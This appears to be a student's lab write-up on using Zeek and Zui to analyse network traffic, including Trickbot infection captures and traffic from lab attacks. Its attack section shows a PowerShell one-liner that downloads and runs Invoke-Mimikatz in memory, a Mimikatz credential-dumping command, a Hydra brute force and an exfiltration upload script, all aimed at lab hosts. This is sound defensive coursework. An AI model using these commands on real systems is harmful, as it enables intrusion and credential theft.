Zeek Lab - jacobwilliams100/sec-440 GitHub Wiki
In this lab, I will be exploring Zeek, a free and open source network analysis utility.
For this lab, we will use the VMs:
- kali01 (Kali Linux)
- xubuntu-lan (Xubuntu Linux)
Start by SSH'ing from kali01 to xubuntu-lan with ssh username@Linux-ip-address
From here, add the source for Zeek to your repositories with echo 'deb http://download.opensuse.org/repositories/security:/zeek/xUbuntu_22.04/ /' | sudo tee /etc/apt/sources.list.d/security:zeek.list
Then download Zeek with curl -fsSL https://download.opensuse.org/repositories/security:zeek/xUbuntu_22.04/Release.key | gpg --dearmor | sudo tee /etc/apt/trusted.gpg.d/security_zeek.gpg > /dev/null
update with sudo apt update
and install with sudo apt install zeek-6.0
We need to create a new directory /traffic
with mkdir ~/traffic
Now we need to edit the .bashrc config file with nano ~/.bashrc
Then add these lines to the bottom of the file:
PATH=$PATH:/opt/zeek/bin
export PATH
Then save and exit
Then reload .bashrc with source ~/.bashrc
Then, check the installed version of zeek with ```zeek --version
Zeek 6.0.8 is installed
Start by navigating to the ~/traffic directory with cd traffic
Let's start a capture with sudo /opt/zeek/bin/zeek -i <interface> βC -w traffic.pcap
HINT: if you don't know what your interface is called, you can find it with ifconfig
While the capture is running, open another SSH session in another terminal and ping google.com
(cancel it after a few hits)
Then end the capture on the first terminal with ctrl+c
Now run file traffic.pcap
Deliverable #2.1 β Run the Linux βfileβ command against the traffic.pcap file and provide a screenshot of the result.
Now we will analyze the capture file, use this command: sudo /opt/zeek/bin/zeek βCr traffic.pcap
See the new files created with ``ls```
4 new files were created:
-
conn.log - connection summaries
-
dns.log - DNS requests and responses
-
packet_filter.log - packet filter configuration and behavior
-
reporter.log - errors and warnings
Do cat conn.log | column -t | less -S
to view the whole table in a readable way
Deliverable #2.3 β Check the contents of the βconn.logβ file. What does the headers in the file mean, and what do values such as (ts, uid, id.orig_h, id.orig_p, etc) represent?
For some reason, the column labels were offset each one to the right, so to read it, we need to look at the columns one to the left of the label.
Headers:
-
#separator - The character used to separate fields in the log.
-
#set_separator - character used to separate multiple values within a single field
-
#empty_field - character used to designate empty or void field
-
#unset_field - character used to specify when a field is not applicable
-
#path - specifies what type of log file is is (conn in this place)
-
#open - timestamp of when the recording started
-
#fields - the types of data contained within the log
-
#types - the form the data takes (count, string, etc)
-
#close - timestamp of when the recording ended
Value Fields:
-
ts - timestamp of connection
-
uid - unique string of characters assigned for connection to identify it
-
id.orig_h - IP address of the machine that initiated the connection
-
id.orig_p - port number on the originating machine
-
id.resp_h - responding IP address
-
id.resp_p - port number of the responding host
-
proto - protocol #
-
service - function associated with the connection if possible (ex DNS)
-
duration - duration of connection in seconds
-
orig_bytes - Number of bytes sent by originating host
-
resp_bytes - Number of bytes sent by responding host
-
conn_state - state of the connection
-
local_orig - Whether the originating host is on the same network as the monitored network
-
local_resp - Whether the responding host is on the same network as the monitored network
-
missed_bytes - Number of bytes lost
-
history - String representing events/states connection went through
-
orig_pkts - Number of packets sent by originating host
-
orig_ip_bytes - Number of bytes sent by originating host
-
resp_pkts - Number of packets sent by responding host
-
resp_ip_bytes - Number of bytes sent by responding host
-
tunnel_parents - Connection from which current connection originates (used with encapsulation and tunneling)
This is a LOT of info! let's cut it down to a smaller amount of information with zeek-cut
do: cat conn.log | zeek-cut id.orig_h id.orig_p id.resp_h id.resp_p proto
Deliverable #2.4 β What are the results displayed, and how could we add to those results the duration and a unique identifier for each entry?
What we get is the originating IP, originating port, responding IP, responding port, and protocol for each connection, in that order.
If we wanted to add duration, we simply need to add uid
and duration
to the command string.
The command that lists all seven of these fields would look something like this:
cat conn.log | zeek-cut uid id.orig_h id.orig_p id.resp_h id.resp_p proto duration
Now we will create a new capture, this time instead of just pinging google.com, we will also:
-
ping champlain.edu
-
curl ashemery.com (
curl https://ashemery.com/index.html
) -
Download the SysInternal suite (use
wget https://download.sysinternals.com/files/SysinternalsSuite.zip
)
Deliverable #2.5 β Where did you find the details for the domains you accessed in your testing? Provide answers for each of the three tests you made at the beginning of this part of the lab.
The key to finding domain details lies in one of the other zeek files, dns.log
We can use zeek-cut
against this file as well. Say we only want to look at timestamp, uid, protocol, domain name, query type number, query type name, and result of query (in that order)
We will use cat dns.log | zeek-cut ts uid proto query qtype qtype_name rcode_name | column -t -s $'\t'
(the bit on the end is to fix the formatting)
Here, we can see a bit of domain data about the four domains we interacted with during the test session: google.com, champlain.edu, ashemery.com, and download.sysinternals.com
We can control Zeek by invoking it directly from the Linux Terminal like this, but we can also control it using the ZeekControl shell which is more convenient and offers a more advanced feature set.
To start the ZeekControl shell, do sudo /opt/zeek/bin/zeekctl
(the sudo is necessary)
run status
The status is stopped
run nodes
The deployment type is standalone
We enter config
Zeek runs from /opt/zeek/bin/zeek
If we deploy zeek from the ZeekControl command prompt with deploy
, then run status
again, it will tell us when the capture started
NOTE: to make this work I needed to modify /opt/zeek/etc/node.cfg
and change the interface
to ens160
You can also use the help
command to learn more about other commands
Use df
Use scripts
plus many more
ZeekControl deploy will do the following things:
- If deploying for the first time: Performs initial setup, starts Zeek
- Restarts Zeek Service
- Updates configuration (applying any changes made to config and script files)
We find this with config
zeekbase is at /opt/zeek
zeekscriptdir is at /opt/zeek/share/zeek
This is also found with config
Version is 2.5.0-24
Also found with config
The location is /opt/zeek/logs
Now, we exit the ZeekControl shell with exit
Zeek can run custom-made scripts for more advanced features. In this section, we will run a script to extract all the files that were seen within the Pcap. Old zeek secripts use the .bro
extensions and new ones use .zeek
On xubuntu-lan, use Firefox to download the four zip files from here: https://drive.google.com/drive/u/1/folders/1aiiRUa1Iy6SejtSYYiaR4wPn8wwwlvO9
Then move each to a separate directory and unzip
You may need to install unzip with sudo apt install unzip
Now, back on the ssh session from kali, navigate to /home/champuser/environment
(or wherever you put the infection-in-AD-environment file)
and run sudo /opt/zeek/bin/zeek βCr 2018-05-24-Trickbot-infection-in-AD-environment.pcap extract-all-files.zeek
Then change to the directory with Trickbot-infection-on-single-host
And run sudo /opt/zeek/bin/zeek βCr 2018-05-24-Trickbot-infection-on-single-host.pcap
Deliverable #4.1 β After running the previous command, what changed in the directory where the results are stored?
Running zeek created new files in both directories.
For Trickbot-infection-on-single-host.pcap...
- conn.log
- dns.log
- files.log
- http.log
- packet_filter.ing.log
- pe.log
- ssl.log
- x509.log
For Trickbot-infection-in-AD-environment.pcap...
- analyzer.log
- dce_rpc.log
- files.log
- kerberos.log
- packet_filtering.log
- smb_files.log
- ssl.log
- x509.log
- conn.log
- dns.log
- http.log
- ntlm.log
- pe.log
- smb_mapping.log
- weird.log
- plus a new folder of extracted files
For the log files, we can tell that they are log files by the .log
file extension.
For the extracted files in ~/environment/extract_files, they have no file extensions. But if we poke around in a few, we can see that they are raw network captures of the listed protocols (HTTP, SSL, SMB)
Naturally, the SSL and SMB ones are pretty unreadable due to encryption
However, the HTTP ones have readable data about system configurations and network connections that we can analyze
We can identify the files by looking in their names for protocol and (in the case of HTTP) reading the contents manually.
We can identify each file by the string of characters at the end of its name, this is its uid. This is also the key to figuring out where it was downloaded from.
If we look in another of the log files, files.log
we can get more detailed information about the files. To put it in a readable format, do column -t files.log | less -S
Be wary that all the columns will be offset one to the left like earlier.
If we look under the id.orig_h
field, we can see the packet's originating IP address (where it was downloaded from).
We can match the entries in files.log
to the files themselves in /extract_files/
In this section, we will redo some of the attacks from the Sliver C2 - Part 2 Lab to generate some traffic for us to analyze using Zeek.
We will do this with Hydra
Install Hydra with sudo apt install hydra
Create users.txt and passwords.txt (make sure you have at least one legitimate combination)
Start a new capture
Now in another window, run hydra against wks1 using users.txt and passwords.txt
Then stop the capture
New files will be created without manually extracting the capture because Zeek was deployed earlier
One of these id rdp.log
which contains details about Remote Desktop Protocol, the thing Hydra uses
If we view the contents of rdp.log with cat rdp.log | column -t | less -S
we can see this information in an organized way
Deliverable #5.1 β Explain with screenshots as proof which files will you use to analyze the traffic generated by Task #1. How will you do that?
(the column offset issue sadly persists)
We can see the IP (10.0.5.8 for all, as expected), port (3389 for RDP) and, most importantly, the user of the attempted login with the cookie string
header
We can also find information about RDP encryption in ssl.log
NOTE:
At this point, I realized that promiscuous mode would allow ubuntu-lan to see traffic between other hosts on the same network, such as kali01 and wks1. I could have simply repeated the last step (Hydra) from the Sliver C2 part 2 lab on kali01. There was no need to redo the Hydra installation on ubuntu-lan but it is done anyway so I will simply proceed. But I will complete the next tasks using kali01 and wks01.
Starting a capture (in a new folder, preferably)
Use the active session to wks01 to upload PsExec64.exe as ps.exe
Running ps.exe on wks01 to get domain login
Stopping capture
Notice we have new files now
Deliverable #5.2 β Explain with screenshots as proof which files will you use to analyze the traffic generated by Task #2. How will you do that?
This task required two major actions, uploading PSExec64.exe to wks01 (which uses GoLang's OS package command handler to create a file and write to it over SSH ) and wks01 logging into ad01 (which uses Kerberos)
To analyze the uploading of PSExec64.exe we will look in conn.log with cat conn.log | column -t | less -S
We can see that this traffic represents the transmission of PSExec64.exe because the IP addresses match (10.0.5.110 (kali) to 10.0.5.8 (wks01)) and it contains the largest number of bytes (which represents a file being transferred over)
To analyze wks01 logging into ad01 we will look in kerberos.log
with cat kerberos.log | column -t | less -S
Notice, this shows connections from wks01 (10.0.5.8) to ad01 (10.0.5.5) and shows information about the username and domain being requested on Kerberos.
Things are mostly still set up from the Sliver C2 Part 2 lab, so we will go ahead and start the process
Once again, we start a new capture (in a new folder)
use the active session, start a shell and download Mimikatz from the kali web server to memory with:
(New-Object System.Net.WebClient).DownloadString('http://10.0.5.110/files/Invoke-Mimikatz.ps1') | IEX
and run Mimikatz with Invoke-Mimikatz -Command "sekurlsa::logonpasswords
We should get similar output from last lab. Once you get the output, close the session
And end the capture
There will now be new log files to look through!
Deliverable #5.3 β Explain with screenshots as proof which files will you use to analyze the traffic generated by Task #3. How will you do that?
This operation consisted of two seperate actions, the process of downloading Mimikatz to memory from the kali web server (10.0.5.110) using HTTP, and actually running Mimikatz to dump logged-in credentials from memory. Only the former action creates network traffic.
For the download operation, we can find the details in http.log
We can view the details with cat http.log | column -t | less -S
In this file, we can see where wks-01(10.0.5.8) downloaded the file /files/Invoke-Mimikatz.ps1 from kali01 (10.0.5.110) on port 80 (HTTP non-secure) using the GET method
Like the last step, stuff is mostly already set up to do this again (PHP, web server, upload script)
We start a capture (once again, in a new folder)
We enter the session to wks1, start a *shell, and put the output of a few system information commands into C:\Users\Public\Documents\info.txt
Then switch directories to C:\Users\Public\Documents
and run the up.ps1
script
Check to see if info.txt is in /var/www/html/uploads
Then end the capture
Deliverable #5.4 β Explain with screenshots as proof which files will you use to analyze the traffic generated by Task #4. How will you do that?
There will now be new log files created by Zeek.
The part of this task that produces traffic is running the up.ps1
script to upload info.txt to /var/www/html/uploads
on kali01 (10.0.5.110). This uses HTTP (non-secure) which is port 80 and will use the POST method.
Because of this, we will find it in the http.log
file. Do this with cat http.log | column -t | less -S
Here, we can see many of the details about the upload, including the IPs (10.0.5.8 to 10.0.5.110) the port (80) the HTTP method (POST) and the PHP page used (upload.php)
We can even see the reponse code (200 OK)
In this part, we will be using Zui a GUI-based tool for Zeek to analyze some pcap files to search for malicious traffic.
I was having some issues with slow connectivity to vcenter from my host PC, so I decided to complete this section on my host PC.
Start by downloading Zui from https://www.brimdata.io/download/ and installing
Then download the infected capture files from https://malware-traffic-analysis.net/2018/05/24/index2.html and put them in a separate folder
Load the captures into ZUI
Deliverable #6.1 β Show all of the executables that were downloaded and are seen within the β2018-05-24-Trickbot-infection-in-AD-environment.pcapβ file.
I identified two .exe files downloaded (using SMB):
- \WINDOWS\lgwgf4lrucfcaa_vo6bqb08eo1nja1f4d_h2dnradrkw11hvguuphvk__7sg7rwb.exe
- \WINDOWS\44783m8uh77g8l8_nkubyhu5vfxxbh878xo6hlttkppzf28tsdu5kwppk_11c1jl.exe
Deliverable #6.2 β Find a way to apply filters based on smb and find which null session connection was attempted to a domain not an IP address.
After doing some reasearch, I found that smb_mapping.log
contains mappings between SMB shares and associated domain names, so this is what I need to be querying.
These two connections seem to indicate that they are SMB "null session" because of the "null" service field, being port 445 (SMB) and including a domain path (dynatuning.com)
If we search the other logs for connections matching these uids, we can extract more details
Deliverable #6.3 β Find a way to apply filters based on http and find all the files that were downloaded and had the user-agent βWinHTTP loader/1.0β.
This was easier. I just needed to set the _path to "http" and search for entries where the user agent was equal to "WinHTTP loader/1.0"
This query shows the download of two files from the IP 92.53.67.105
- toler.png
- table.png
This was the second most challenging lab yet. Zeek is certainly a very powerful tool, but has a steep learning curve. I did research online to learn about the different types of Zeek .log
s In the process of trying to read the log files, I learned about some different ways of displaying dense text in the Linux CLI, especially the column
utility, which helped me better format the raw data for easier analysis. I also came across various commands and options for filtering and parsing logs efficiently, such as using grep, awk, and cut to extract relevant data from the logs. Zui was challenging at first because I did not know how to write queries for it, but after reading some online guides, I figured out how to write rudimentary queries to find specific packets I was looking for. I definitely see why it is more useful than reading through the .log
files manually.